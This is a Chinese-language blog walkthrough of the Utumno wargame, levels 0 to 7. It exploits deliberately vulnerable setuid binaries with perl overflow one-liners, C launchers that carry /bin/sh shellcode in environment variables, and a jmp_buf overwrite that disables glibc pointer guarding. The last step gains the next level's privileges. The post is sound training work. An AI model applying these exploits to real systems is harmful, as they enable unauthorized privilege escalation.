utumno

Posted by rk700 on July 16, 2014
  • utumno0
    和semtex4类似,这次的也是没有读权限。还是用xocopy把内容dump出来,elf地址用的是0x08048000。再用strings查看,发现类似是密码的内容

  • utumno1
    会打开目录,检查包含的文件的文件名。必须要是以sh_开头;然后漏洞在run函数里面,会把d_name[3]的地址放到返回地址。所以把payload放在文件名sh_的后面即可。

    把shellcode放环境变量,然后payload是跳转到那里

    $ touch `perl -e 'print "1/sh_" . "\xb8\xf3\xd8\xff\xff\xff\xe0"'`
         $ /utumno/utumno1 1
  • utumno2
    有点类似于之前的vortex4,也是要求argc为0,只能把payload放到环境变量里。argv={NULL},所以argv+40就是env[9]。我们把shellcode放到env[0],env[9]放shellcode的地址,那么strcpy就会把返回地址重写。 在构造env时注意,在结束之前都不要包含NULL,否则会被认为env结束而忽略掉后面的内容

#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *args[]) {
    char *env="ABCDABCDABCDABCDABCDABCD" "\xa9\xdf\xff\xff";
    char *shellcode = "SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    char *t = ""; 
    char *argv[] = {NULL};
    char *envp[] = {shellcode,t,t,t,t,t,t,t,t,env,NULL};
    //execve("././././envAddr", argv, envp);
    execve("/utumno/utumno2", argv, envp);
}
  • utumno3
    这里会一个个地读字符,在v2那里可以做到修改返回地址。为此,我们找到v2和返回地址的距离是0x2c,那么往v1里填的字符就应该是0x2c^0, 0x2d^3, 0x2e^6, 0x2f^9。我试了invoke shell,但没反应,加上cat也不行;所以只好用读文件的shellcode了
    $ perl -e 'print "\x2c\xc8\x2e\xd8\x28\xff\x26\xff"' | /utumno/utumno3
  • utumno4
    memcpy当然存在overflow,因为复制的大小是我们提供的;虽然对大小做了个检查,但是是把大小存到short里面再比较的。由于起始位置与返回地址相距0xff0e,我们只需提供大小为0x10000,那么就可以覆盖到返回地址,并且大小检查也符合
    $ /utumno/utumno4 65536 `perl -e 'print "A"x65294 . "\xef\xd8\xff\xff"'`
  • utumno5
    和utumno2类似,不过问题在函数hihi里。这次检查了字符串的长度,最多只能覆盖保存的ebp,但通过修改ebp,可以使main函数返回时的leave跳到错误的地方,进而返回地址用我们提供的地址
#include <stdio.h>
#include <stdlib.h>

int main (int argc, char *args[]) {
    char *env = "\xfe\xfe\xfe\xfe\xb1\xdf\xff\xff" "AAAAAAAA" "\xf8\xdd\xff\xff";
    char *shellcode = "SHELLCODE=\x31\xc0\x50\x89\xe2\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\xb0\x0b\xcd\x80";
    char *t = "";
    char *argv[] = {NULL};
    char *envp[] = {shellcode,t,t,t,t,t,t,t,t,env,NULL};
    //execve("././././envAddr", argv, envp);
    //execve("././././ebpAddr", argv, envp);
    execve("././././utumno5", argv, envp);
}
  • utumno6
    malloc之后没有free,这点就很奇怪。于是通过v5=-1,可以修改v3的值为返回地址,那么接下来strcpy就可以修改返回地址了。
    $ /utumno/utumno6 -1 0xffffd6fc `perl -e 'print "\xf4\xd8\xff\xff"'`
  • utumno7
    由于用的是exit,所以不能通过strcpy修改返回地址。由于jmp_buf保存在栈上,我们可以修改这个。

    具体地,setjmp会保存寄存器

(gdb) x/20i setjmp
   0xf7e4f280 <setjmp>: mov    0x4(%esp),%eax
   0xf7e4f284 <setjmp+4>:       mov    %ebx,(%eax)
   0xf7e4f286 <setjmp+6>:       mov    %esi,0x4(%eax)
   0xf7e4f289 <setjmp+9>:       mov    %edi,0x8(%eax)
   0xf7e4f28c <setjmp+12>:      lea    0x4(%esp),%ecx
   0xf7e4f290 <setjmp+16>:      xor    %gs:0x18,%ecx
   0xf7e4f297 <setjmp+23>:      rol    $0x9,%ecx
   0xf7e4f29a <setjmp+26>:      mov    %ecx,0x10(%eax)
   0xf7e4f29d <setjmp+29>:      mov    (%esp),%ecx
   0xf7e4f2a0 <setjmp+32>:      xor    %gs:0x18,%ecx
   0xf7e4f2a7 <setjmp+39>:      rol    $0x9,%ecx
   0xf7e4f2aa <setjmp+42>:      mov    %ecx,0x14(%eax)
   0xf7e4f2ad <setjmp+45>:      mov    %ebp,0xc(%eax)
   0xf7e4f2b0 <setjmp+48>:      push   $0x1
   0xf7e4f2b2 <setjmp+50>:      pushl  0x8(%esp)
   0xf7e4f2b6 <setjmp+54>:      call   0xf7e4f230 <__sigjmp_save>

也就是说,依次保存ebx,esi,edi,ebp,处理过的esp,处理过的eip。由于处理时会和$gs:0x18做xor,这就导致结果不确定了……我试了下,确实每次运的时候,第5、6个的值都不一样。

后来还是在网上搜了之后才发现的。ld.so的manual里是这么说的:

LD_POINTER_GUARD
(glibc since 2.4) Set to 0 to disable pointer guarding. Any other value enables pointer guarding, which is also the default.
Pointer guarding is a security mechanism whereby some pointers to code stored in writable program memory (return addresses saved by
setjmp(3) or function pointers used by various glibc internals) are mangled semi-randomly to make it more difficult for an attacker
to hijack the pointers for use in the event of a buffer overrun or stack-smashing attack.

也就是说,我们需要先

$export LD_POINTER_GUARD=0

这样,每次jmp_buf里的esp和eip就不随机了,但rotation还是有的。我们用python来计算rotation

rol = lambda val, r_bits, max_bits: \
    (val << r_bits%max_bits) & (2**max_bits-1) | \
    ((val & (2**max_bits-1)) >> (max_bits-(r_bits%max_bits)))

ror = lambda val, r_bits, max_bits: \
    ((val & (2**max_bits-1)) >> r_bits%max_bits) | \
    (val << (max_bits-(r_bits%max_bits)) & (2**max_bits-1))

由于跳转到shellcode后,要保证栈可读可写,我们让esp还是恢复到正确的值,只是eip到环境变量里的shellcode。通过jobs -l获得进程的pid,再用kill -10 pid来发送信号。要发两次,第一次后调用strcpy,覆盖eip,等第二次信号时,跳到我们给的eip。此外,可能是jump的原因,两次信号要用不同的,正好他设了两个handler,10和12。

utumno7@melinda:/tmp/nabla$ /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ jobs -l
[1]+  1987 Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -10 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
^Z
[1]+  Stopped                 /utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
utumno7@melinda:/tmp/nabla$ kill -12 1987
utumno7@melinda:/tmp/nabla$ fg
/utumno/utumno7 `perl -e 'print "A"x128 . "\xfe"x16 . "\xff\x41\xaa\xff" . "\xff\xaf\xb1\xff"'`
$ id
uid=16007(utumno7) gid=16007(utumno7) euid=16008(utumno8) groups=16008(utumno8),16007(utumno7)